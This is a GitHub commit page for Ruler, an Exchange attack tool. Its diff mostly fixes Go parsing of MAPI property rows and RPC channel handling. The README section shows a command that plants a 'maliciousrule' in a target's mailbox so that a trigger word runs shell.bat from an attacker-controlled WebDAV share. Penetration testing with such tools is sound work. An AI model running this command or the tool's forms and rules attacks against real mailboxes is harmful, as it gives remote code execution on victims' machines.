Skip to content

Commit

Permalink
Merge pull request #30 from sensepost/dev
Browse files Browse the repository at this point in the history
Fixes to display forms and rules
  • Loading branch information
staaldraad authored May 4, 2017
2 parents 1208cfe + 600a4bf commit 8622fd6
Show file tree
Hide file tree
Showing 6 changed files with 61 additions and 27 deletions.
3 changes: 2 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -238,7 +238,7 @@ go run webdavserv.go -d /path/to/directory/to/serve
To create the new rule user Ruler and:

```
./ruler --email user@targetdomain.com --username username add --location "\\\\yourserver\\webdav\\shell.bat" --trigger "pop a shell" --name maliciousrule
./ruler --email user@targetdomain.com --username username add --location "\\\\yourserver\\webdav\\shell.bat" --trigger "popashell" --name maliciousrule
```

The various parts:
Expand Down Expand Up @@ -319,6 +319,7 @@ If you use the forms attack, you need to ensure that the **templates** folder is
* img0.bin
* img1.bin
* formstemplate.bin
* formsdeletetemplate.bin

## Using forms

Expand Down
9 changes: 8 additions & 1 deletion forms/rulerforms.go
Original file line number Diff line number Diff line change
Expand Up @@ -186,7 +186,7 @@ func CreateFormTriggerMessage(suffix, subject, body string) ([]byte, error) {
//DeleteForm is used to delete a specific form stored in an associated table
func DeleteForm(suffix string, folderid []byte) ([]byte, error) {

columns := make([]mapi.PropertyTag, 1)
columns := make([]mapi.PropertyTag, 2)
columns[0] = mapi.PidTagOfflineAddressBookName
columns[1] = mapi.PidTagMid

Expand All @@ -196,6 +196,9 @@ func DeleteForm(suffix string, folderid []byte) ([]byte, error) {
}
var foundMsgID []byte
for k := 0; k < len(assoctable.RowData); k++ {
if assoctable.RowData[k][0].Flag != 0x00 {
continue
}
name := utils.FromUnicode(assoctable.RowData[k][0].ValueArray)
messageid := assoctable.RowData[k][1].ValueArray
if name != "" && name == fmt.Sprintf("IPM.Note.%s", suffix) {
Expand Down Expand Up @@ -229,6 +232,10 @@ func DisplayForms(folderid []byte) error {
var forms []string

for k := 0; k < len(assoctable.RowData); k++ {
if assoctable.RowData[k][0].Flag != 0x00 {
continue
}
//utils.Debug.Println(assoctable.RowData[k][0].ValueArray)
name := utils.FromUnicode(assoctable.RowData[k][0].ValueArray)
if name != "" && len(name) > 3 {
if byte(name[0]) != 0x0a {
Expand Down
14 changes: 12 additions & 2 deletions mapi/datastructs.go
Original file line number Diff line number Diff line change
Expand Up @@ -1425,6 +1425,7 @@ func (execRequest *ExecuteRequest) Init() {
//Unmarshal func
func (queryRows *RopQueryRowsResponse) Unmarshal(resp []byte, properties []PropertyTag) (int, error) {
pos := 0
var flag byte
queryRows.RopID, pos = utils.ReadByte(pos, resp)
queryRows.InputHandle, pos = utils.ReadByte(pos, resp)
queryRows.ReturnValue, pos = utils.ReadUint32(pos, resp)
Expand All @@ -1435,12 +1436,21 @@ func (queryRows *RopQueryRowsResponse) Unmarshal(resp []byte, properties []Prope
queryRows.RowCount, pos = utils.ReadUint16(pos, resp)

rows := make([][]PropertyRow, queryRows.RowCount)
//check if flagged properties

for k := 0; k < int(queryRows.RowCount); k++ {
trow := PropertyRow{}
trow.Flag, pos = utils.ReadByte(pos, resp)
//check if has flag (is flaggedpropertyrow)
flag, pos = utils.ReadByte(pos, resp)
for _, property := range properties {
if property.PropertyType == PtypInteger32 {

if flag == 0x01 {
trow.Flag, pos = utils.ReadByte(pos, resp)
}
if trow.Flag != 0x00 {
trow.ValueArray, pos = utils.ReadBytes(pos, 4, resp)
rows[k] = append(rows[k], trow)
} else if property.PropertyType == PtypInteger32 {
trow.ValueArray, pos = utils.ReadBytes(pos, 2, resp)
rows[k] = append(rows[k], trow)
} else if property.PropertyType == PtypInteger64 {
Expand Down
28 changes: 18 additions & 10 deletions mapi/mapi.go
Original file line number Diff line number Diff line change
Expand Up @@ -2027,6 +2027,7 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ
var contentsTable *RopGetContentsTableResponse
var svrhndl []byte
var err error
var inputHndl uint8 = 0x03
if assoc == false {
contentsTable, svrhndl, err = GetContentsTable(folderid)
} else {
Expand All @@ -2040,19 +2041,19 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ
execRequest.Init()

setColumns := RopSetColumnsRequest{RopID: 0x12, LogonID: AuthSession.LogonID, SetColumnFlags: 0x00}
setColumns.InputHandle = 0x01
setColumns.PropertyTagCount = 2 //uint16(len(columns))
setColumns.InputHandle = inputHndl
setColumns.PropertyTagCount = uint16(len(columns))
setColumns.PropertyTags = make([]PropertyTag, setColumns.PropertyTagCount)
for k, v := range columns {
setColumns.PropertyTags[k] = v
}

fullReq := setColumns.Marshal()

queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandle: 0x01, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: uint16(contentsTable.RowCount)}
queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandle: inputHndl, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: uint16(contentsTable.RowCount)}
fullReq = append(fullReq, queryRows.Marshal()...)

ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01}
ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: inputHndl}
fullReq = append(fullReq, ropRelease.Marshal()...)

execRequest.RopBuffer.ROP.RopsList = fullReq
Expand All @@ -2068,19 +2069,19 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ
bufPtr := 10
var p int
var e error
utils.Info.Println(execResponse)

setColumnsResp := RopSetColumnsResponse{}
if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil {
return nil, e
}
bufPtr += p
utils.Info.Println("Display")

rows := RopQueryRowsResponse{}

if _, e = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], setColumns.PropertyTags); e != nil {
return nil, e
}
utils.Info.Println("Display")

return &rows, nil
}

Expand Down Expand Up @@ -2170,12 +2171,12 @@ func ExecuteDeleteRuleAdd(rulename, triggerword string) (*ExecuteResponse, error
execRequest.RopBuffer.ROP.RopsList = ruleBytes
execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x01, 0x00, 0x00, AuthSession.LogonID} //append(AuthSession.RulesHandle, []byte{0xFF, 0xFF, 0xFF, 0xFF}...)

execResponse, err := sendMapiRequest(execRequest)
_, err := sendMapiRequest(execRequest)

if err != nil {
return nil, &TransportError{err}
}
utils.Trace.Println(execResponse)
//utils.Trace.Println(execResponse)
return nil, err

//return nil, ErrUnknown
Expand Down Expand Up @@ -2325,6 +2326,7 @@ func DecodeRulesResponse(resp []byte, properties []PropertyTag) ([]Rule, []byte,
}

rows := RopQueryRowsResponse{}

tpos, err = rows.Unmarshal(resp[pos:], properties)
if err != nil {
return nil, nil, err
Expand All @@ -2350,9 +2352,15 @@ func DecodeBufferToRows(buff []byte, cols []PropertyTag) []PropertyRow {

var pos = 0
var rows []PropertyRow
var flag byte
fmt.Println(buff)
for _, property := range cols {
trow := PropertyRow{}
if property.PropertyType == PtypInteger32 {
flag, pos = utils.ReadByte(pos, buff)
if flag != 0x00 {
trow.ValueArray, pos = utils.ReadBytes(pos, 5, buff)
rows = append(rows, trow)
} else if property.PropertyType == PtypInteger32 {
trow.ValueArray, pos = utils.ReadBytes(pos, 2, buff)
rows = append(rows, trow)
} else if property.PropertyType == PtypString {
Expand Down
30 changes: 19 additions & 11 deletions rpc-http/rpctransport.go
Original file line number Diff line number Diff line change
Expand Up @@ -65,8 +65,8 @@ func setupHTTP(rpctype string, URL string, ntlmAuth bool, full bool) (net.Conn,
}

var authenticate *ntlm.AuthenticateMessage

if ntlmAuth == true {

//we should probably extract the NTLM type from the server response and use appropriate
session, err := ntlm.CreateClientSession(ntlm.Version2, ntlm.ConnectionlessMode)
b, _ := session.GenerateNegotiateMessage()
Expand Down Expand Up @@ -180,11 +180,16 @@ func RPCOpen(URL string, readySignal chan bool, errOccurred chan error) (err err
go RPCOpenOut(URL, readySignal, errOccurred)

select {
case <-readySignal:
readySignal <- false
errOccurred <- err
return err
case <-time.After(time.Second * 20): // call timed out
case c := <-readySignal:
if c == true {
//utils.Warning.Println("Got ready!")
readySignal <- true
} else {
readySignal <- false
return err
}
case <-time.After(time.Second * 10): // call timed out
//utils.Warning.Println("Got timedou!")
readySignal <- true
}

Expand All @@ -205,7 +210,7 @@ func RPCOpen(URL string, readySignal chan bool, errOccurred chan error) (err err
//RPCOpenOut function opens the RPC_OUT_DATA channel
//starts our listening "loop" which scans for new responses and pushes
//these to our list of recieved responses
func RPCOpenOut(URL string, readySignal chan bool, errOccurred chan error) (err error) {
func RPCOpenOut(URL string, readySignal chan<- bool, errOccurred chan<- error) (err error) {

rpcOutConn, err = setupHTTP("RPC_OUT_DATA", URL, AuthSession.RPCNtlm, true)
if err != nil {
Expand All @@ -228,6 +233,7 @@ func RPCOpenOut(URL string, readySignal chan bool, errOccurred chan error) (err
responses = append(responses, r)
}
}

return nil
}

Expand Down Expand Up @@ -290,7 +296,6 @@ func RPCBind() error {
}
err = rpcntlmsession.ProcessChallengeMessage(challenge)
if err != nil {

return fmt.Errorf("Bad Process Challenge %s", err)
}

Expand Down Expand Up @@ -343,6 +348,9 @@ func EcDoRPCExt2(MAPI []byte, auxLen uint32) ([]byte, error) {
return resp.PDU[28:], err
}

//EcDoRPCAbk makes a request for NSPI addressbook
//Not fully implemented
//TODO: complete this
func EcDoRPCAbk(MAPI []byte, l int) ([]byte, error) {
RPCWriteN(MAPI, uint32(l), 0x03)
//RPCWrite(req.Marshal())
Expand Down Expand Up @@ -559,10 +567,10 @@ func SplitData(data []byte, atEOF bool) (advance int, token []byte, err error) {
if data[0] == 0x05 { //we have an RPC packet start, rather than a fragmented packet
if len(data) < 10 { //get packet length, if possible
return 0, nil, nil //don't have enough packet start again
} else {
p, _ := utils.ReadUint16(8, data)
end = int(p)
}
p, _ := utils.ReadUint16(8, data)
end = int(p)

if len(data) != end {
return 0, nil, nil
}
Expand Down
4 changes: 2 additions & 2 deletions utils/utils.go
Original file line number Diff line number Diff line change
Expand Up @@ -214,9 +214,9 @@ func ReadByte(pos int, buff []byte) (byte, int) {
func ReadUnicodeString(pos int, buff []byte) ([]byte, int) {
//stupid hack as using bufio and ReadString(byte) would terminate too early
//would terminate on 0x00 instead of 0x0000
index := bytes.Index(buff[pos:], []byte{0x00, 0x00, 0x00}) + 1
index := bytes.Index(buff[pos:], []byte{0x00, 0x00})
str := buff[pos : pos+index]
return []byte(str), pos + index + 1
return []byte(str), pos + index + 2
}

//ReadASCIIString returns a string as ascii
Expand Down

0 comments on commit 8622fd6

Please sign in to comment.